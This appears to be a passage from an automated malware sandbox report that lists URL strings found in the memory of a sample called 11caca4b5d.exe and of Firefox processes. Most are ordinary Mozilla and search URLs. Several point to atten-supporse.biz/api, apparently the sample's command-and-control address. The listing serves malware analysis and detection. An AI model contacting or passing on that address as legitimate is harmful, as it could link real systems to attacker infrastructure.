Source: 11caca4b5d.exe, 0000000A.00000003.3894839128.0000000005A8B000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000A.00000003.3894151837.0000000005A8D000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000A.00000003.3895608840.0000000005A8B000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4010308676.0000000005CA8000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4008376409.0000000005CBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.4459980484.00000253A02C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F457000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 0000001A.00000002.4510227560.00000253A5CA3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4503705030.00000253A4607000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4511797530.00000253A6296000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4505575611.00000253A494E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 0000001A.00000002.4500503968.00000253A4206000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A410C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A4108000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4495762055.00000253A2FDB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4497409881.00000253A3E91000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A4103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 0000001A.00000002.4459980484.00000253A02C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F457000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: 11caca4b5d.exe, 0000000A.00000002.4124966680.0000000001250000.00000004.00000020.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000A.00000003.3955679205.0000000005A49000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000A.00000003.3928349991.0000000005A5A000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000002.4125799702.000000000145E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/
Source: 11caca4b5d.exe, 0000000C.00000002.4125799702.000000000145E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/P
Source: 11caca4b5d.exe, 0000000C.00000003.4064950579.00000000014CC000.00000004.00000020.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4096727347.00000000014CC000.00000004.00000020.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4110717216.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4110446428.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4101563344.00000000014DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/api
Source: 11caca4b5d.exe, 0000000A.00000003.4015165081.000000000125D000.00000004.00000020.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000A.00000003.4029190460.000000000125C000.00000004.00000020.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000A.00000003.4014695080.000000000125D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/api%
Source: 11caca4b5d.exe, 0000000C.00000003.4039251705.00000000014D9000.00000004.00000020.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4039102203.00000000014CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/api/Z
Source: 11caca4b5d.exe, 0000000A.00000002.4124966680.0000000001250000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/api=
Source: 11caca4b5d.exe, 0000000A.00000003.4045158335.0000000005A41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/api?
Source: 11caca4b5d.exe, 0000000A.00000002.4124966680.00000000011F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apiU3
Source: 11caca4b5d.exe, 0000000C.00000002.4125799702.0000000001448000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz:443/api
Source: 11caca4b5d.exe, 0000000A.00000002.4127221477.000000000126E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz:443/apil
Source: firefox.exe, 0000001A.00000002.4509133768.00000253A59E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4140184782.0000025392511000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: 11caca4b5d.exe, 0000000A.00000003.3957620595.0000000005A4B000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4096798586.0000000005C91000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4099811582.0000000005C95000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4459980484.00000253A02C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4220564232.000002539DDAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F457000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125865060.00000158652C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.4125343821.000001E59D3E9000.00000004.00000800.00020000.00000000.sdmp, prefs-1.js.26.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: 11caca4b5d.exe, 0000000A.00000003.3957620595.0000000005A4B000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4096798586.0000000005C91000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4099811582.0000000005C95000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4459980484.00000253A02C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4220564232.000002539DDAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F457000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125865060.00000158652C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.4125343821.000001E59D3E9000.00000004.00000800.00020000.00000000.sdmp, prefs-1.js.26.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E7AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E7AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180BookmarkingUI
Source: firefox.exe, 0000001A.00000002.4510227560.00000253A5CA3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 0000001A.00000002.4510227560.00000253A5CA3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 0000001A.00000002.4510227560.00000253A5CA3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 0000001A.00000002.4510227560.00000253A5CA3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: 11caca4b5d.exe, 0000000A.00000003.3894839128.0000000005A8B000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000A.00000003.3894151837.0000000005A8D000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000A.00000003.3895608840.0000000005A8B000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4010308676.0000000005CA8000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4008376409.0000000005CBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 11caca4b5d.exe, 0000000A.00000003.3894839128.0000000005A8B000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000A.00000003.3894151837.0000000005A8D000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000A.00000003.3895608840.0000000005A8B000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4010308676.0000000005CA8000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4008376409.0000000005CBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 11caca4b5d.exe, 0000000A.00000003.3894839128.0000000005A8B000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000A.00000003.3894151837.0000000005A8D000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000A.00000003.3895608840.0000000005A8B000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4010308676.0000000005CA8000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4008376409.0000000005CBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4036390962.00000253A223C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4036188223.00000253A221F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4036868673.00000253A225A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4479641147.00000253A1970000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.4035830721.00000253A2000000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4037355040.00000253A2277000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000001A.00000002.4510726727.00000253A5DB5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: 11caca4b5d.exe, 0000000A.00000003.3957620595.0000000005A4B000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4096798586.0000000005C91000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4099811582.0000000005C95000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4459980484.00000253A02C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4220564232.000002539DDAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F457000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125865060.00000158652C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.4125343821.000001E59D3E9000.00000004.00000800.00020000.00000000.sdmp, prefs-1.js.26.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: 11caca4b5d.exe, 0000000A.00000003.3957620595.0000000005A4B000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4096798586.0000000005C91000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4099811582.0000000005C95000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4459980484.00000253A02C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4220564232.000002539DDAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F457000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125865060.00000158652C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.4125343821.000001E59D3E9000.00000004.00000800.00020000.00000000.sdmp, prefs-1.js.26.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000001A.00000002.4498274385.00000253A3F59000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4511797530.00000253A6261000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 0000001A.00000002.4140184782.0000025392530000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4140184782.0000025392511000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 0000001A.00000002.4222089313.000002539E62C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4222089313.000002539E612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTab
Source: firefox.exe, 0000001A.00000002.4222089313.000002539E612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture
Source: firefox.exe, 0000001A.00000002.4222089313.000002539E62C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4222089313.000002539E612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCapture
Source: firefox.exe, 0000001A.00000002.4222089313.000002539E62C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4222089313.000002539E612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryption
Source: firefox.exe, 0000001A.00000002.4222089313.000002539E62C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4222089313.000002539E612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: firefox.exe, 0000001A.00000002.4459980484.00000253A02C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F457000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 0000001A.00000002.4137513329.000001AB18004000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4036390962.00000253A223C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4036188223.00000253A221F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4036868673.00000253A225A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4496554423.00000253A31BD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4479641147.00000253A1970000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.4035830721.00000253A2000000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4037355040.00000253A2277000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: 11caca4b5d.exe, 0000000A.00000003.3894839128.0000000005A8B000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000A.00000003.3894151837.0000000005A8D000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000A.00000003.3895608840.0000000005A8B000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4010308676.0000000005CA8000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4008376409.0000000005CBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 11caca4b5d.exe, 0000000A.00000003.3894839128.0000000005A8B000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000A.00000003.3894151837.0000000005A8D000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000A.00000003.3895608840.0000000005A8B000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4010308676.0000000005CA8000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4008376409.0000000005CBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 11caca4b5d.exe, 0000000A.00000003.3894839128.0000000005A8B000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000A.00000003.3894151837.0000000005A8D000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000A.00000003.3895608840.0000000005A8B000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4010308676.0000000005CA8000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4008376409.0000000005CBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000001A.00000003.4041473433.00000253A1A1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4479754930.00000253A1A2B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4459980484.00000253A02E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4040296515.00000253A1A33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4041980584.00000253A1A33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4221552205.000002539E37D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%shttps://mail.yahoo.co.jp/compose/?To=%shttps://mail.inbox
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sresource://gre/modules/FileUtils.sys.mjshttps://mail.inbo
Source: firefox.exe, 0000001A.00000003.4041473433.00000253A1A1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4479754930.00000253A1A2B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4459980484.00000253A02E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4040296515.00000253A1A33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4041980584.00000253A1A33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
